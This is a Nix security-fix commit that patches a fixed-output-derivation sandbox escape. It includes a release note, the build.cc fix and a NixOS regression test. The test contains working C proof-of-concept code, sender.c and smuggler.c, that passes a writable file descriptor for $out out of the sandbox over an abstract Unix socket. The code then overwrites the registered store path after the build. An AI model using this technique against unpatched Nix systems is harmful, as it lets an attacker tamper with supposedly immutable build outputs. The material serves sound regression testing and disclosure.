Merge pull request from GHSA-2ffj-w4mj-pg37

Sandbox escape 2.3

doc/manual/rl-next/fod-sandbox-escape.md

@@ -0,0 +1,14 @@
+---
+synopsis: Fix a FOD sandbox escape
+issues:
+prs:
+---
+
+Cooperating Nix derivations could send file descriptors to files in the Nix
+store to each other via Unix domain sockets in the abstract namespace. This
+allowed one derivation to modify the output of the other derivation, after Nix
+has registered the path as "valid" and immutable in the Nix database.
+In particular, this allowed the output of fixed-output derivations to be
+modified from their expected content.
+
+This isn't the case any more.

release.nix

@@ -235,6 +235,11 @@ let
       nix = build.x86_64-linux; system = "x86_64-linux";
     });
 
+    tests.ca-fd-leak = (import ./tests/nixos/ca-fd-leak rec {
+      inherit nixpkgs;
+      nix = build.x86_64-linux; system = "x86_64-linux";
+    });
+
     tests.setuid = pkgs.lib.genAttrs
       ["i686-linux" "x86_64-linux"]
       (system:

src/libstore/build.cc

@@ -3286,10 +3286,17 @@ void DerivationGoal::registerOutputs()
             throw BuildError(format("suspicious ownership or permission on '%1%'; rejecting this build output") % path);
 #endif
 
-        /* Apply hash rewriting if necessary. */
+        /* Apply hash rewriting if necessary.
+         *
+         * For FODs, we always do the dump-and-restore dance regardless to make
+         * sure that there's no stale file descriptor pointing to the output
+         * of the path.
+         * */
         bool rewritten = false;
-        if (!outputRewrites.empty()) {
+        if (fixedOutput || !outputRewrites.empty()) {
+            if (!outputRewrites.empty()) {
             printError(format("warning: rewriting hashes in '%1%'; cross fingers") % path);
+            }
 
             /* Canonicalise first.  This ensures that the path we're
                rewriting doesn't contain a hard link to /etc/shadow or

tests/nixos/ca-fd-leak/default.nix

@@ -0,0 +1,93 @@
+# Nix is a sandboxed build system. But Not everything can be handled inside its
+# sandbox: Network access is normally blocked off, but to download sources, a
+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
+# The detail here is not important, but in our case it means that the hash of
+# the output has to be known beforehand. And if you know that, you get a few
+# rights: you no longer run inside a special network namespace!
+#
+# Now, Linux has a special feature, that not many other unices do: Abstract
+# unix domain sockets! Not only that, but those are namespaced using the
+# network namespace! That means that we have a way to create sockets that are
+# available in every single fixed-output derivation, and also all processes
+# running on the host machine! Now, this wouldn't be that much of an issue, as,
+# well, the whole idea is that the output is pure, and all processes in the
+# sandbox are killed before finalizing the output. What if we didn't need those
+# processes at all? Unix domain sockets have a semi-known trick: you can pass
+# file descriptors around!
+# This makes it possible to exfiltrate a file-descriptor with write access to
+# $out outside of the sandbox. And that file-descriptor can be used to modify
+# the contents of the store path after it has been registered.
+
+{ nixpkgs, system, nix }:
+
+with import (nixpkgs + "/nixos/lib/testing-python.nix") {
+  inherit system;
+};
+
+let
+  # Simple C program that sends a a file descriptor to `$out` to a Unix
+  # domain socket.
+  # Compiled statically so that we can easily send it to the VM and use it
+  # inside the build sandbox.
+  sender = pkgs.runCommandWith {
+    name = "sender";
+    stdenv = pkgs.pkgsStatic.stdenv;
+  } ''
+    $CC -static -o $out ${./sender.c}
+  '';
+
+  # Okay, so we have a file descriptor shipped out of the FOD now. But the
+  # Nix store is read-only, right? .. Well, yeah. But this file descriptor
+  # lives in a mount namespace where it is not! So even when this file exists
+  # in the actual Nix store, we're capable of just modifying its contents...
+  smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
+
+  # The abstract socket path used to exfiltrate the file descriptor
+  socketName = "FODSandboxExfiltrationSocket";
+in
+makeTest {
+  name = "ca-fd-leak";
+
+  nodes.machine =
+    { config, lib, pkgs, ... }:
+    { virtualisation.writableStore = true;
+      virtualisation.pathsInNixDB = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
+      nix.binaryCaches = [ ];
+      nix.package = nix;
+    };
+
+  testScript = { nodes }: ''
+    start_all()
+
+    machine.succeed("echo hello")
+    # Start the smuggler server
+    machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
+
+    # Build the smuggled derivation.
+    # This will connect to the smuggler server and send it the file descriptor
+    machine.succeed(r"""
+      nix-build -E '
+        builtins.derivation {
+          name = "smuggled";
+          system = builtins.currentSystem;
+          # look ma, no tricks!
+          outputHashMode = "flat";
+          outputHashAlgo = "sha256";
+          outputHash = builtins.hashString "sha256" "hello, world\n";
+          builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+          args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
+      }'
+    """.strip())
+
+
+    # Tell the smuggler server that we're done
+    machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
+
+    # Check that the file was not modified
+    machine.succeed(r"""
+      cat ./result
+      test "$(cat ./result)" = "hello, world"
+    """.strip())
+  '';
+
+}

tests/nixos/ca-fd-leak/sender.c

@@ -0,0 +1,65 @@
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <stdlib.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <string.h>
+#include <assert.h>
+
+int main(int argc, char **argv) {
+
+    assert(argc == 2);
+
+    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+    // Set up a abstract domain socket path to connect to.
+    struct sockaddr_un data;
+    data.sun_family = AF_UNIX;
+    data.sun_path[0] = 0;
+    strcpy(data.sun_path + 1, argv[1]);
+
+    // Now try to connect, To ensure we work no matter what order we are
+    // executed in, just busyloop here.
+    int res = -1;
+    while (res < 0) {
+        res = connect(sock, (const struct sockaddr *)&data,
+            offsetof(struct sockaddr_un, sun_path)
+              + strlen(argv[1])
+              + 1);
+        if (res < 0 && errno != ECONNREFUSED) perror("connect");
+        if (errno != ECONNREFUSED) break;
+    }
+
+    // Write our message header.
+    struct msghdr msg = {0};
+    msg.msg_control = malloc(128);
+    msg.msg_controllen = 128;
+
+    // Write an SCM_RIGHTS message containing the output path.
+    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+    hdr->cmsg_len = CMSG_LEN(sizeof(int));
+    hdr->cmsg_level = SOL_SOCKET;
+    hdr->cmsg_type = SCM_RIGHTS;
+    int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
+    memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
+
+    msg.msg_controllen = CMSG_SPACE(sizeof(int));
+
+    // Write a single null byte too.
+    msg.msg_iov = malloc(sizeof(struct iovec));
+    msg.msg_iov[0].iov_base = "";
+    msg.msg_iov[0].iov_len = 1;
+    msg.msg_iovlen = 1;
+
+    // Send it to the othher side of this connection.
+    res = sendmsg(sock, &msg, 0);
+    if (res < 0) perror("sendmsg");
+    int buf;
+
+    // Wait for the server to close the socket, implying that it has
+    // received the commmand.
+    recv(sock, (void *)&buf, sizeof(int), 0);
+}

tests/nixos/ca-fd-leak/smuggler.c

@@ -0,0 +1,66 @@
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <stdlib.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <assert.h>
+
+int main(int argc, char **argv) {
+
+    assert(argc == 2);
+
+    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+    // Bind to the socket.
+    struct sockaddr_un data;
+    data.sun_family = AF_UNIX;
+    data.sun_path[0] = 0;
+    strcpy(data.sun_path + 1, argv[1]);
+    int res = bind(sock, (const struct sockaddr *)&data,
+        offsetof(struct sockaddr_un, sun_path)
+        + strlen(argv[1])
+        + 1);
+    if (res < 0) perror("bind");
+
+    res = listen(sock, 1);
+    if (res < 0) perror("listen");
+
+    int smuggling_fd = -1;
+
+    // Accept the connection a first time to receive the file descriptor.
+    fprintf(stderr, "%s\n", "Waiting for the first connection");
+    int a = accept(sock, 0, 0);
+    if (a < 0) perror("accept");
+
+    struct msghdr msg = {0};
+    msg.msg_control = malloc(128);
+    msg.msg_controllen = 128;
+
+    // Receive the file descriptor as sent by the smuggler.
+    recvmsg(a, &msg, 0);
+
+    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+    while (hdr) {
+        if (hdr->cmsg_level == SOL_SOCKET
+          && hdr->cmsg_type == SCM_RIGHTS) {
+
+            // Grab the copy of the file descriptor.
+            memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
+        }
+
+        hdr = CMSG_NXTHDR(&msg, hdr);
+    }
+    fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
+    close(a);
+
+    // Wait for a second connection, which will tell us that the build is
+    // done
+    a = accept(sock, 0, 0);
+    fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
+    // Write a new content to the file
+    if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
+    char * new_content = "Pwned\n";
+    int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
+    if (written_bytes != strlen(new_content)) perror("write");
+}